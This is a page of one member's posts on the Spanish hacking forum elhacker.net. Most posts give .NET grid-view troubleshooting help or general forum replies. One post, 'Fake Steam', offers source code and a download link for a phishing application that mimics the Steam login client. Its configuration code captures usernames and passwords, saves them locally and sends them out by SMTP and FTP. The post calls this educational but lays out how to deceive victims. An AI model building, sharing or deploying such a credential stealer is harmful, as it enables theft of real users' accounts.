elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Mensajes
Páginas: 1 ... 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 [556] 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 ... 1253
5551  Programación / .NET (C#, VB.NET, ASP) / Re: problema al eliminar y agregar registros d radGridView en: 5 Mayo 2015, 06:44 am
Que raro.

Especifica el tipo de excepción, y el mensaje exacto de error.

Comprueba el valor de la propiedad dt.Rows.IsReadonly y del rgv.Rows.IsReadOnly antes de iterar la colección, ¿alguno es True? :-\.

En caso afirmativo, no se por que te sucede eso, pero para intentar solucionarlo no intentes eliminar las filas del rgv, declara el dt fuera de método y modifica el rgv.DataSource (es decir, elimina las filas directamente en el dt), los cambios se verán reflejados en el rgv.

Prueba así:
Código
  1. Dim dt As DataTable
  2. Dim dtCopy As DataTable
  3.  
  4. Private Sub test()
  5.  
  6.    dt = New DataTable
  7.    ' añadir columnas, añadir filas...
  8.  
  9.    dtCopy = dt.Copy()
  10.    rgv.DataSource = dtCopy.DefaultView
  11.  
  12. End Sub
  13.  
  14. Private Sub RadButton1_Click(sender As Object, e As EventArgs) _
  15. Handles RadButton1.Click
  16.  
  17.    If dtCopy.Rows.IsReadOnly() Then
  18.        Throw New Exception("dtCopy row col es de solo lectura")
  19.  
  20.    ElseIf rgv.Rows.IsReadOnly Then
  21.        Throw New Exception("rgv row col es de solo lectura")
  22.  
  23.    Else
  24.        Using rgv.DeferRefresh()
  25.  
  26.            For Each row As GridViewRowInfo In rgv.SelectedRows.ToArray
  27.                dtCopy.Rows.Remove(DirectCast(row.DataBoundItem, DataRowView).Row)
  28.            Next row
  29.  
  30.        End Using
  31.  
  32.    End If
  33.  
  34. End Sub

Código
  1. DataTable dt;
  2. DataTable dtCopy;
  3.  
  4. private void test()
  5. {
  6. dt = new DataTable();
  7. // añadir columnas, añadir filas...
  8.  
  9. dtCopy = dt.Copy();
  10. rgv.DataSource = dtCopy.DefaultView;
  11. }
  12.  
  13. private void RadButton1_Click(object sender, EventArgs e)
  14. {
  15. if (dtCopy.Rows.IsReadOnly()) {
  16. throw new Exception("dtCopy row col es de solo lectura");
  17.  
  18. } else if (rgv.Rows.IsReadOnly) {
  19. throw new Exception("rgv row col es de solo lectura");
  20.  
  21. } else {
  22. using (rgv.DeferRefresh()) {
  23. foreach (GridViewRowInfo row in rgv.SelectedRows.ToArray) {
  24. dtCopy.Rows.Remove(((DataRowView)row.DataBoundItem).Row);
  25. }
  26. }
  27. }
  28. }
5552  Programación / .NET (C#, VB.NET, ASP) / Re: problema al eliminar y agregar registros d radGridView en: 5 Mayo 2015, 05:33 am
Hay dos problemas en el código que has mostrado.

El primer problema es que estás intentando modificar una secuencia paralela, que al asignarla cómo datasource es de solo lectura.
Citar
Código
  1. ...
  2. rgv.DataSource = dt.DefaultView.AsParallel();
  3. ...

Y el segundo problema es que estás intentando modificar dos colecciones que están sincronizadas entre sí (RadGridView.Rows <> RadGridView.SelectedRows):
Citar
Código
  1. ...
  2. foreach (GridViewRowInfo row in rgv.SelectedRows)
  3. ...



Solución al primer problema es no usar el paralelismo ya que tienes pensado modificar la colección.
Código
  1. ...
  2. rgv.DataSource = dt.DefaultView
  3. ...

Solución al segundo problema es desactivar las notificaciones del control/colecciones.
Código
  1. using (RadGridView1.DeferRefresh())
  2. {
  3. foreach (GridViewRowInfo row in RadGridView1.SelectedRows) {
  4. RadGridView1.Rows.Remove(row);
  5. }
  6. }  // El método RadGridView.DeferRefresh() internamente es lo mismo que utilizar RadGridView.BeginUpdate() + RadGridView.EndUpdate(), pero de un modo elegante.

Saludos
5553  Foros Generales / Foro Libre / Re: Ayuda por favor (caso bullying) en: 4 Mayo 2015, 17:38 pm
alguien sabe algo?

Son las 17:38h, una hora menos en Canarias.
5554  Foros Generales / Foro Libre / Re: Los mitos de las computadoras en: 4 Mayo 2015, 15:04 pm
Además, la información es más que cuestionable.

¿Hay algo para ti que no sea cuestionable, my friend? :P.

( si, lo digo por los temas "raros"... en lo que es más absurdo dudar, que creer. )

Saludos!
5555  Programación / .NET (C#, VB.NET, ASP) / Re: Problema con constructores y archivos c# en: 4 Mayo 2015, 11:49 am
Código
  1. private string directorio = Directory.GetCurrentDirectory();

Para obtener el directorio actual debo de hacerlo desde el form o obtengo error, entonces, lo que hago es...

Detente ahí en el "entonces, lo que hago es...", no intentes parchear el problema, trata de solucionar el problema principal, explica cual es el tipo de excepción que te lanza, y el mensaje de error,
Lo mismo para la otra linea que has comentado, "no me deja" no aclara el problema que tienes, da DETALLES.

Cómo alternativa puedes intentar utilizar la propiedad Application.StartupPath, aunque esta devuelve el directorio de inicio de la aplicación en lugar del directorio de trabajo actual (que viene siendo lo mismo a menos que cambias arbitrariamente el directorio de trabajo).

Saludos
5556  Programación / .NET (C#, VB.NET, ASP) / Re: como hacer q se agreguen las filas en radGridView en: 4 Mayo 2015, 10:33 am
eligiendo la segunda opción (la de eliminar columnas y renombrar las autogeneradas) lo pude solucionar ahora kise probar la primer solución q m dist solo x curiosidad y no lo puedo hacer:

Si te funciona la opción alternativa que te mostré entonces no te agobies y hazlo así, por lo que yo veo en el código que has mostrado debería funcionar por que estás siguiendo el ejemplo funcional que te mostré, pero tampoco soy un gurú de Telerik, si quieres resolver el problema deberías consultarlo en su foro de soporte (si cumples las condiciones para que te den soporte)

Saludos!
5557  Programación / .NET (C#, VB.NET, ASP) / [SOURCE] Fake Steam (Steam v2.70.82.9) en: 4 Mayo 2015, 09:51 am


Descripción


Esta aplicación es una simple falsificación (fake) del cliente de Steam correspondiente a la versión 2.70.82.9, el desarrollo de esta aplicación ha sido con fines educativos, con el objetivo de demostrar cómo se puede elaborar un engaño de este tipo para simular la ejecución de una aplicación legítima y así obtener datos personales (el usuario y la contraseña de Steam),
queda bajo su responsabilidad el uso que le vaya a dar a este programa.

Por fuera el usuario solo verá una aplicación que consta de 3 Forms con un par de botones y poco más, pero lo cierto es que he invertido bastante esfuerzo para conseguir elaborar una buena "mímica" (o al menos considero que es buena), hay una gran labor detrás ...en el código fuente, y con mucho código rehutilizable que les puede servir para proyectos relacionados.


Características


  • Soporte multi idioma, soportando un total de 22 de los 26 idiomas del cliente original de Steam. Los idiomas no soportados son Koreano, Japonés, Chino tradicional y Chino simplificado
  • Auto-detección de idioma. Por defecto se detectará el idioma del cliente steam instalado en el PC, si el cliente no está instalado se intentará utilizar el idioma del SO, si esto falla también, se utilizará el Inglés.
  • Simulación elaborada de varias características del cliente original de Steam, así cómo de los efectos de iluminación de los controles de la interfáz original.
  • Almacenamiento de usuario/contraseña en archivo local.
  • Envio de usuario/contraseña mediante SMTP.
  • Envio de usuario/contraseña mediante FTP.

En resumen he intentado cuidar todos los detalles posibles, aunque no soy perfecto, claro está.


Imágenes (de la interfáz en inglés)

       



Demostración y comparación de similitud





Configuración


Para configurar el programa hay que compilar el código fuente, dentro del código fuente encontrarán la carpeta/namespace Config que contiene todos los valores configurables del programa:



La configuración del idioma:
Código
  1. #Region " Steam Interface Configuration "
  2.  
  3.        ''' <summary>
  4.        ''' The default steam interface language.
  5.        ''' Use this for testing purposses
  6.        ''' </summary>
  7.        Public Shared ReadOnly DefaultSteamLanguage As New CultureInfo("en-US")
  8.  
  9.        ''' <summary>
  10.        ''' If set to <c>True</c>, overrides the default steam interface language instead of detect the proper language.
  11.        ''' Use this for testing purposses
  12.        ''' </summary>
  13.        Public Shared ReadOnly UseDefaultSteamLanguage As Boolean = False
  14.  
  15. #End Region
Nota: Los nombres de las culturas disponibles están especificados en el método DetectLanguage de la Class SteamHelper.


La configuración del nombre de usuario y contraseña:
Código
  1. #Region " Username and Password Configuration "
  2.  
  3.        ''' <summary>
  4.        ''' The string format to write/upload/send the captured username/password.
  5.        ''' </summary>
  6.        Public Shared ReadOnly UserPassTextFormat As String =
  7. <a><![CDATA[
  8. Username={0}
  9. Password={1}
  10. ]]></a>.Value
  11.  
  12. #End Region


La configuración de almacenamiento local:
Código
  1. #Region " Local Storage Configuration "
  2.  
  3.        ''' <summary>
  4.        ''' If set to <c>True</c>, enables local storage of the username/password.
  5.        ''' </summary>
  6.        Public Shared ReadOnly EnableLocalStorage As Boolean = True
  7.  
  8.        ''' <summary>
  9.        ''' The local directory where to write the file.
  10.        ''' If the directory doesn't exists, it will try to create it.
  11.        ''' </summary>
  12.        Public Shared ReadOnly LocalDir As String =
  13.            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), " Fake Steam")
  14.  
  15.        ''' <summary>
  16.        ''' The file name to store the data on the local directory.
  17.        ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
  18.        ''' </summary>
  19.        Public Shared ReadOnly LocalFilenameFormat As String =
  20.            String.Format("FakeSteam_{0}_{1}_{2}.txt", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
  21.  
  22.        ''' <summary>
  23.        ''' Sets the local directory attributes, such as system or hidden.
  24.        ''' </summary>
  25.        Public Shared ReadOnly DirAttribs As FileAttributes = FileAttributes.Normal
  26.  
  27.        ''' <summary>
  28.        ''' Sets the local file attributes, such as readonly or hidden.
  29.        ''' </summary>
  30.        '''
  31.        Public Shared ReadOnly FileAttribs As FileAttributes = FileAttributes.Normal
  32.  
  33.        ''' <summary>
  34.        ''' Sets the textfile encoding.
  35.        ''' </summary>
  36.        Public Shared ReadOnly FileEncoding As Encoding = Encoding.Default ' ANSI Encoding.
  37.  
  38. #End Region


La configuración de envío SMTP:
Código
  1. #Region " SMTP Sending Configuration"
  2.  
  3.        ''' <summary>
  4.        ''' If set to <c>True</c>, enables STMP sending of the username/password.
  5.        ''' </summary>
  6.        Public Shared ReadOnly EnableSmtp As Boolean = True
  7.  
  8.        ''' <summary>
  9.        ''' The SMTP server.
  10.        ''' </summary>
  11.        Public Shared ReadOnly SmtpServer As New SmtpClient("smtp.gmail.com")
  12.  
  13.        ''' <summary>
  14.        ''' The SMTP server port.
  15.        ''' </summary>
  16.        Public Shared ReadOnly SmtpPort As Integer = 0
  17.  
  18.        ''' <summary>
  19.        ''' The SMTP security.
  20.        ''' </summary>
  21.        Public Shared ReadOnly SmtpSslEnabled As Boolean = True
  22.  
  23.        ''' <summary>
  24.        ''' The mail account address.
  25.        ''' </summary>
  26.        Public Shared ReadOnly MailAddress As New MailAddress("name@serv.com")
  27.  
  28.        ''' <summary>
  29.        ''' The mail account username/password credentials.
  30.        ''' </summary>
  31.        Public Shared ReadOnly MailCredentials As New NetworkCredential("username", "password")
  32.  
  33.        ''' <summary>
  34.        ''' The mail subject.
  35.        ''' By default is "Steam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}"
  36.        ''' </summary>
  37.        Public Shared ReadOnly MailSubject As String =
  38.            String.Format("Steam_{0}_{1}_{2}", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
  39.  
  40. #End Region


La configuración de envío FTP:
Código
  1. #Region " FTP Uploading Configuration "
  2.  
  3.        ''' <summary>
  4.        ''' If set to <c>True</c>, enables FTP upload of the username/password.
  5.        ''' </summary>
  6.        Public Shared ReadOnly EnableFtp As Boolean = False
  7.  
  8.        ''' <summary>
  9.        ''' The FTP Server address.
  10.        ''' </summary>
  11.        Public Shared ReadOnly FtpAddress As Uri = New Uri("ftp://127.0.0.1/")
  12.  
  13.        ''' <summary>
  14.        ''' The FTP server port.
  15.        ''' </summary>
  16.        Public Shared ReadOnly FtpPort As Integer = 21
  17.  
  18.        ''' <summary>
  19.        ''' The FTP username/password credentials.
  20.        ''' </summary>
  21.        Public Shared ReadOnly FtpCredentials As New NetworkCredential("username", "password")
  22.  
  23.        ''' <summary>
  24.        ''' The FTP directory where to upload the file.
  25.        ''' The directory path should exist.
  26.        ''' </summary>
  27.        Public Shared ReadOnly FtpDir As String = "Fake Steam/"
  28.  
  29.        ''' <summary>
  30.        ''' The file name to store the data on the FTP directory.
  31.        ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
  32.        ''' </summary>
  33.        Public Shared ReadOnly FtpFilenameFormat As String = UserConfig.LocalFilenameFormat
  34.  
  35.        ''' <summary>
  36.        ''' If set to <c>True</c>, uses Binary mode for the file transfer.
  37.        ''' </summary>
  38.        Public Shared ReadOnly UseBinaryTransfer As Boolean = False
  39.  
  40. #End Region


Descarga


http://www.mediafire.com/download/iocwwp3r3i59mdd/Fake+Steam.rar





IMPOTANTE: Compilar la solución en modo Release, en el modo Release suprimo las excepciones controladas, aparte, el modo Debug tiene un comportamiento distinto y se muestran controles adicionales para testear el la iluminación de los botones:




Saludos!
5558  Sistemas Operativos / Windows / Re: Temas Que Optimizen Windows 8.1? en: 4 Mayo 2015, 02:04 am
Todos esos "trucos" los puedes encontrar facilmente en infinidad de páginas en toda la red, basicamente en general casi todos consisten en reducir o deshabilitar características de Windows, cómo por ejemplo reducir los efectos visuales cómo te han comentado, o desactivar servicios innecesarios, desactivar extensiones innecesarias de la shell, alterar valores del específicos del sistema para optimizaciones del SO y/o del disco duro, una limpieza de basura y defragmentación, etc, etc, etc.

Saludos
5559  Foros Generales / Foro Libre / Re: necesito vuestra ayuda (caso de chantage) en: 3 Mayo 2015, 13:18 pm
Está prohibido en el foro dar datos personales, indiferentemente del problema que tengais (ya sea cierto o falso) dudo que le haga mucha gracia a ese individuo que vayas dando su IP por ahí o cualquier otro tipo de información.

Lee las normas del foro.

Respecto al problema, si reálmente es chantaje y se puede considerar cómo tal entonces imagino que tú amiga puede acudir a la policia.

Saludos!
5560  Programación / Scripting / Re: Duda sobre estos lenguajes de programacion en: 3 Mayo 2015, 06:25 am
Si quiero realizar aplicaciones de escritorio para windows, cual de los dos lenguaje me resulta mejor?

Con ninguno de ambos lenguajes te faltaría nada, los dos son aptos generalmente para cualquier tipo de tarea que puedas necesitar, y al ser lenguajes interpretados no vale la pena tomar una decisión por su velocidad (aunque se dice que Python es muy lento en comparación), donde más se diferencian es en la sintaxis ...sobre todo el estricto Python, así que lo mejor es que pruebes a programar en ambos lenguajes durante un tiempo indefinido y vayas descrubriendo y valorando sus diferencias, piensa que tu elección debería estar basada en el lenguaje con el que más a gusto te encuentres.

con cual de los dos puedo desarrollar aplicaciones para windows mas facilmente.

Si por aplicaciones para windows quieres decir aplicaciones gráficas de escritorio para Windows (y no aplicaciones que simplemente sean compatibles con Windows), entonces a menos que uses un buen Visual GUI Builder ninguno de esos lenguajes lo considero una buena elección, aunque depende de gustos.

Para despejar dudas sobre algo que se ha mencionado respecto a eso, quiero aclarar que al igual que en Python, con Ruby también puedes desarrollar aplicaciones de escritorio, pues Ruby también tiene sus suites de controles de terceros para construir una interfáz gráfica, hay frameworks basados en QT y otro tipo de interfaces, pero personálmente hacer una GUI con un lenguaje de Scripting siempre me ha resultado una tarea horrible, es un auto-castigo innecesario, pero solo es mi opinión personal.

Saludos!
Páginas: 1 ... 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 [556] 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 ... 1253
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines